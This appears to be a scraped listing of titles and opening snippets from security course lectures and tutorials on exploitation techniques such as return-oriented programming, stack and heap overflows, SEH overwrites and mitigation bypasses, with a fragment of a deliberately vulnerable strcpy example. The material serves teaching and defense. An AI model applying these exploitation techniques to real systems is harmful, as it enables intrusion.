Lecture 10 Return-oriented programming. Stephen Checkoway University of Illinois at Chicago Based on slides by Bailey, Brumley, and Miller
Lecture 10 Return-oriented programming Stephen Checkoway University of Illinois at Chicago Based on slides by Bailey, Brumley, and Miller ROP Overview Idea: We forge shellcode out of existing application
CMSC 414 Computer and Network Security
CMSC 414 Computer and Network Security Buffer Overflows Dr. Michael Marsh August 30, 2017 Trust and Trustworthiness You read: Reflections on Trusting Trust (Ken Thompson), 1984 Smashing the Stack for Fun
Robust Shell Code Return Oriented Programming and HeapSpray. Zhiqiang Lin
CS 6V81-05: System Security and Malicious Code Analysis Robust Shell Code Return Oriented Programming and HeapSpray Zhiqiang Lin Department of Computer Science University of Texas at Dallas April 16 th,
Lab 2: Buffer Overflows
Department of Computer Science: Cyber Security Practice Lab 2: Buffer Overflows Introduction In this lab, you will learn how buffer overflows and other memory vulnerabilities are used to takeover vulnerable
Architecture-level Security Vulnerabilities
Architecture-level Security Vulnerabilities Björn Döbel Outline How stacks work Smashing the stack for fun and profit Preventing stack smashing attacks Circumventing stack smashing prevention The Battlefield:
Program Exploitation Intro
Program Exploitation Intro x86 Assembly 04//2018 Security 1 Univeristà Ca Foscari, Venezia What is Program Exploitation "Making a program do something unexpected and not planned" The right bugs can be
Security and Privacy in Computer Systems. Lecture 5: Application Program Security
CS 645 Security and Privacy in Computer Systems Lecture 5: Application Program Security Buffer overflow exploits More effective buffer overflow attacks Preventing buffer overflow attacks Announcement Project
Exploits and gdb. Tutorial 5
Exploits and gdb Tutorial 5 Exploits and gdb 1. Buffer Vulnerabilities 2. Code Injection 3. Integer Attacks 4. Advanced Exploitation 5. GNU Debugger (gdb) Buffer Vulnerabilities Basic Idea Overflow or
Zero Day Zen Garden: Windows Exploit Development - Part 4 [Overwriting SEH with Buffer Overflows]
![Zero Day Zen Garden: Windows Exploit Development - Part 4 [Overwriting SEH with Buffer Overflows]](/thumbs/82/86169211.jpg "Zero Day Zen Garden: Windows Exploit Development - Part 4 [Overwriting SEH with Buffer Overflows]")
Zero Day Zen Garden: Windows Exploit Development - Part 4 [Overwriting SEH with Buffer Overflows] Nov 6, 2017 Steven Patterson Hello! In this post we re looking at SEH overwrite exploits and our first
Stack overflow exploitation
Stack overflow exploitation In order to illustrate how the stack overflow exploitation goes I m going to use the following c code: #include #include #include static void
Title: SEH Overwrites Simplified v1.01. Date: October 29 th Author: Aelphaeis Mangarae
Aelphaeis Mangarae [adm1n1strat10n AT hotmail DOT com] [IRC.SecurityChat.Org #BHF] http://blackhat-forums.com Title: SEH Overwrites Simplified v1.01 Date: October 29 th 2007 Author: Aelphaeis Mangarae
MSRPC Heap Overflow Part II
MSRPC Heap Overflow Part II Dave Aitel So a new approach is needed. As with any heap overflow, you get to chose a where and a what value, subject to certain constraints. If you chose a what value that
Documentation for exploit entitled nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit
Documentation for exploit entitled nginx 1.3.9/1.4.0 x86 Brute Force Remote Exploit about a generic way to exploit Linux targets written by Kingcope Introduction In May 2013 a security advisory was announced
Software Security: Buffer Overflow Defenses
CSE 484 / CSE M 584: Computer Security and Privacy Software Security: Buffer Overflow Defenses Fall 2017 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin,
6.858 Lecture 3. char *p = malloc(256); char *q = p + 256; char ch = *q; //Does this raise an exception? //Hint: How big is the baggy bound for p?
Baggy bounds continued: Example code (assume that slot_size=16) 6.858 Lecture 3 char *p = malloc(44); //Note that the nearest power of 2 (i.e., //64 bytes) are allocated. So, there are //64/(slot_size)
Writing Exploits with MSF3.0
Writing Exploits with MSF3.0 Saumil Shah hack.lu 2007 Luxembourg, October 18 2007 Setup and Instructions VMWare Player if you don t have VMWare Workstation Copy VM Image from CD, unzip the ZIP file Administrator
Control Flow Hijacking Attacks. Prof. Dr. Michael Backes
Control Flow Hijacking Attacks Prof. Dr. Michael Backes Control Flow Hijacking malicious.pdf Contains bug in PDF parser Control of viewer can be hijacked Control Flow Hijacking Principles Normal Control
Abstraction Recovery for Scalable Static Binary Analysis
Abstraction Recovery for Scalable Static Binary Analysis Edward J. Schwartz Software Engineering Institute Carnegie Mellon University 1 The Gap Between Binary and Source Code push mov sub movl jmp mov
Lec07: Return-oriented programming. Taesoo Kim
1 Lec07: Return-oriented programming Taesoo Kim Scoreboard 2 3 Administrivia Please submit both working exploit and write-up on time! Due: Lab04 is due on Oct 11 Due: Lab05 is out and its due on Oct 18
Buffer Overflow. An Introduction
Buffer Overflow An Introduction Workshop Flow-1 Revision (4-10) How a program runs Registers Memory Layout of a Process Layout of a StackFrame Layout of stack frame using GDB and looking at Assembly code
Software Vulnerabilities August 31, 2011 / CS261 Computer Security
Software Vulnerabilities August 31, 2011 / CS261 Computer Security Software Vulnerabilities...1 Review paper discussion...2 Trampolining...2 Heap smashing...2 malloc/free...2 Double freeing...4 Defenses...5
Is stack overflow still a problem?
Morris Worm (1998) Code Red (2001) Secure Programming Lecture 4: Memory Corruption II (Stack Overflows) David Aspinall, Informatics @ Edinburgh 31st January 2017 Memory corruption Buffer overflow remains
CPSC 213. Introduction to Computer Systems. Procedures and the Stack. Unit 1e
CPSC 213 Introduction to Computer Systems Unit 1e Procedures and the Stack Readings for Next 3 Lectures Textbook Procedures - 3.7 Out-of-Bounds Memory References and Buffer Overflow - 3.12 Local Variables
CSE 127 Computer Security
CSE 127 Computer Security Stefan Savage, Fall 2018, Lecture 4 Low Level Software Security II: Format Strings, Shellcode, & Stack Protection Review Function arguments and local variables are stored on the
Lab 2: Buffer Overflows
Lab 2: Buffer Overflows Fengwei Zhang Wayne State University Course: Cyber Security Prac@ce 1 Buffer Overflows One of the most common vulnerabili@es in soeware Programming languages commonly associated
CSE 127: Computer Security. Memory Integrity. Kirill Levchenko
CSE 127: Computer Security Memory Integrity Kirill Levchenko November 18, 2014 Stack Buffer Overflow Stack buffer overflow: writing past end of a stackallocated buffer Also called stack smashing One of
CSE 127 Computer Security
CSE 127 Computer Security Stefan Savage, Spring 2018, Lecture 4 Low Level Software Security II: Format Strings, Shellcode, & Stack Protection Review Function arguments and local variables are stored on
Bypassing SEHOP. Stéfan Le Berre Damien Cauquil
Bypassing SEHOP Stéfan Le Berre s.leberre@sysdream.com Damien Cauquil d.cauquil@sysdream.com Table of contents 0. Introduction...3 1. SEHOP specifications (short version)...3 2. Dealing with SEHOP when
The first Secure Programming Laboratory will be today! 3pm-6pm in Forrest Hill labs 1.B31, 1.B32.
Lab session this afternoon Memory corruption attacks Secure Programming Lecture 6: Memory Corruption IV (Countermeasures) David Aspinall, Informatics @ Edinburgh 2nd February 2016 The first Secure Programming
Buffer Overflow Attack (AskCypert CLaaS)
Buffer Overflow Attack (AskCypert CLaaS) ---------------------- BufferOverflow.c code 1. int main(int arg c, char** argv) 2. { 3. char name[64]; 4. printf( Addr;%p\n, name); 5. strcpy(name, argv[1]); 6.
Architecture-level Security Vulnerabilities. Julian Stecklina
Architecture-level Security Vulnerabilities Julian Stecklina Outline How stacks work Smashing the stack for fun and profit Preventing stack smashing attacks Circumventing stack smashing prevention The
Selected background on ARM registers, stack layout, and calling convention
Selected background on ARM registers, stack layout, and calling convention ARM Overview ARM stands for Advanced RISC Machine Main application area: Mobile phones, smartphones (Apple iphone, Google Android),
Secure Programming Lecture 6: Memory Corruption IV (Countermeasures)
Secure Programming Lecture 6: Memory Corruption IV (Countermeasures) David Aspinall, Informatics @ Edinburgh 2nd February 2016 Outline Announcement Recap Containment and curtailment Tamper detection Memory
Applying Return Oriented and Jump Oriented Programming Exploitation Techniques with Heap Spraying
Acta Polytechnica Hungarica Vol. 12, No. 5, 2015 Applying Return Oriented and Jump Oriented Programming Exploitation Techniques with Heap Spraying László Erdődi Óbuda University, Faculty of Applied Informatics
Project 1 Notes and Demo
Project 1 Notes and Demo Overview You ll be given the source code for 7 short buggy programs (target[1-7].c). These programs will be installed with setuid root Your job is to write exploits (sploit[1-7].c)
Outline. Memory Exploit
Outline CS 6V81-05: System Security and Malicious Code Analysis Robust Shell Code Return Oriented Programming and HeapSpray Zhiqiang Lin Department of Computer Science University of Texas at Dallas April
Stack Vulnerabilities. CS4379/5375 System Security Assurance Dr. Jaime C. Acosta
1 Stack Vulnerabilities CS4379/5375 System Security Assurance Dr. Jaime C. Acosta Part 1 2 3 An Old, yet Still Valid Vulnerability Buffer/Stack Overflow ESP Unknown Data (unused) Unknown Data (unused)
CS 645: Lecture 3 Software Vulnerabilities. Rachel Greenstadt July 3, 2013
CS 645: Lecture 3 Software Vulnerabilities Rachel Greenstadt July 3, 2013 Project 1: Software exploits Individual project - done in virtual machine environment This assignment is hard. Don t leave it until